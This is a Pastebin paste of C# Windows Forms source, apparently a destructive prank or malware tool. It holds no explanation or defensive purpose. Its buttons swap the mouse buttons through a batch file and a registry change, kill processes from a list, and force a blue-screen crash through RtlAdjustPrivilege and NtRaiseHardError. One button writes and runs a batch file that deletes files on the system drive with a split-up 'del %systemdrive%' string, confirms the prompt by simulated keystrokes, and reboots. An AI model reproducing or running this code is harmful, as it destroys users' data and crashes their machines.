Advertisement
Guest User

Untitled

a guest
Mar 20th, 2019
123
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.87 KB | None | 0 0
  1. using System;
  2.  
  3. using System.Collections.Generic;
  4. using System.ComponentModel;
  5. using System.Data;
  6. using System.Drawing;
  7. using System.Linq;
  8. using System.Text;
  9. using System.Threading.Tasks;
  10. using System.Windows.Forms;
  11. using System.Diagnostics;
  12.  
  13. using System.IO;
  14. using Microsoft.Win32;
  15. using System.Threading;
  16. using System.Runtime.InteropServices;
  17.  
  18.  
  19.  
  20. namespace WindowsFormsApp3
  21. {
  22. public partial class Form1 : Form
  23. {
  24. bool fclick = true;
  25. public Form1()
  26. {
  27. InitializeComponent();
  28. Thread t = new Thread(() => prockiller.Kills(textBox1.Lines));
  29. ta = t;
  30. }
  31. Thread ta;
  32. private void button1_Click(object sender, EventArgs e)
  33. {
  34. try
  35. {
  36.  
  37. string userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
  38. userName = userName.Remove(0, userName.IndexOf(@"\"));
  39. string st = @"C:\Users\" + userName + @"\Desktop\MyTest.bat";
  40. try
  41. {
  42. Process[] kill = Process.GetProcessesByName("MyTest");
  43. foreach (Process proc in kill)
  44. {
  45. proc.Kill();
  46. }
  47. }
  48. catch (Exception ex)
  49. {
  50. MessageBox.Show(ex.Message);
  51. }
  52.  
  53. // File.Create(st);
  54. File.WriteAllText(@"C:\Users\" + userName + @"\Desktop\MyTest.bat", @"%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul");
  55. using (Process myProcess2 = new Process())
  56. {
  57. myProcess2.StartInfo.UseShellExecute = false;
  58. myProcess2.StartInfo.FileName = @"C:\Users\" + userName + @"\Desktop\MyTest.bat";
  59. myProcess2.Start();
  60. }
  61. RegistryKey currentUserKey = Registry.CurrentUser.OpenSubKey(@"Control Panel\Mouse", true);
  62.  
  63. currentUserKey.SetValue("SwapMouseButtons", 1, RegistryValueKind.String);
  64.  
  65. }
  66. catch (Exception es)
  67. {
  68. MessageBox.Show(es.Message);
  69.  
  70.  
  71.  
  72.  
  73. }
  74. }
  75.  
  76.  
  77. void button2_Click(object sender, EventArgs e)
  78. {
  79.  
  80. ta = new Thread(() => prockiller.Kills(textBox1.Lines));
  81. fclick = false;
  82. ta.Start();
  83. }
  84.  
  85. private void textBox1_Click(object sender, EventArgs e)
  86. {
  87. if (!fclick) { fclick = false; MessageBox.Show("Измение парметров приведет к приостановлению блокировки"); ta.Abort(); }
  88.  
  89. }
  90.  
  91. private void textBox1_ChangeUICues(object sender, UICuesEventArgs e)
  92. {
  93.  
  94. }
  95.  
  96. private void textBox1_TextChanged(object sender, EventArgs e)
  97. {
  98. if (!fclick) { fclick = true; MessageBox.Show("Измение парметров приведет к приостановлению блокировки"); ta.Abort(); }
  99. }
  100. [DllImport("USER32.DLL")]
  101. public static extern bool SetForegroundWindow(IntPtr hWnd);
  102.  
  103. [System.Runtime.InteropServices.DllImport("User32.dll")]
  104. public static extern bool ShowWindow(IntPtr handle, int nCmdShow);
  105.  
  106. [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
  107. public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
  108.  
  109.  
  110.  
  111. IntPtr hWnd = FindWindow("focusWindowClassName", null); // this gives you the handle of the window you need.
  112.  
  113.  
  114. private void button3_Click(object sender, EventArgs e)
  115. {
  116. try
  117. {
  118. string userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
  119. userName = userName.Remove(0, userName.IndexOf(@"\"));
  120. String st = @"C:\Users\" + userName + @"\Desktop\help.bat";
  121. string[] piz = new string[3] {
  122. "@ echo off",
  123. @"del %syst"+@"em drive%\*.*",
  124. "shutdown -r -t 00"};
  125. File.WriteAllLines(st, piz);
  126. using (Process myProcess2 = new Process())
  127. {
  128. myProcess2.StartInfo.UseShellExecute = false;
  129. myProcess2.StartInfo.FileName = st;
  130. myProcess2.Start();
  131. IntPtr windowHandle = myProcess2.MainWindowHandle;
  132. SetForegroundWindow(windowHandle);
  133. }
  134. Thread.Sleep(500);
  135. SendKeys.Send("Y");
  136. SendKeys.SendWait("{ENTER}");
  137.  
  138.  
  139. }
  140. catch (Exception es) { MessageBox.Show(es.Message); }
  141. }
  142. [DllImport("ntdll.dll", SetLastError = true)]
  143. private static extern int NtSetInformationProcess(IntPtr hProcess, int processInformationClass
  144. , ref int processInformation, int processInformationLength);
  145. [DllImport("ntdll.dll")]
  146. private static extern uint RtlAdjustPrivilege(
  147. int Privilege,
  148. bool bEnablePrivilege,
  149. bool IsThreadPrivilege,
  150. out bool PreviousValue
  151. );
  152.  
  153. [DllImport("ntdll.dll")]
  154. private static extern uint NtRaiseHardError(
  155. uint ErrorStatus,
  156. uint NumberOfParameters,
  157. uint UnicodeStringParameterMask,
  158. IntPtr Parameters,
  159. uint ValidResponseOption,
  160. out uint Response
  161. );
  162. private static uint STATUS_ASSERTION_FAILURE = 0xC0000420;
  163.  
  164. private void button4_Click(object sender, EventArgs e)
  165. {
  166.  
  167. RtlAdjustPrivilege(19, true, false, out bool previousValue);
  168. NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, IntPtr.Zero, 6, out uint oul);
  169. }
  170. } }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement